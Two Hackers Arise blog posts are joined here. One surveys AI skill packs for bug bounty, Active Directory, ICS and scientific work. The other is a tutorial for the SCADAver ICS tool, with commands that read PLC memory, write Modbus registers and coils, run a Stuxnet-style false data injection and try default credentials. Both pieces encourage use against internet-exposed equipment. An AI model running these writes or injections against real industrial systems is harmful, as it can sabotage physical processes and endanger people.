Welcome back, aspiring cyberwarriors!

Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.

There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.

Bug Bounty Skills

Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.

The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.

You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.

The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.

Here are a few examples of the results we got with these skills.

API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.

Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.

We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.

Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings. 

Active Directory Skills

Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).

Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.

General Cybersecurity Skills

Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.

Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.

SCADA Skills

On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.

The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.

Science Skills

Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.

1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.

Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.

The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.

Summary

AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.

Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.

The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.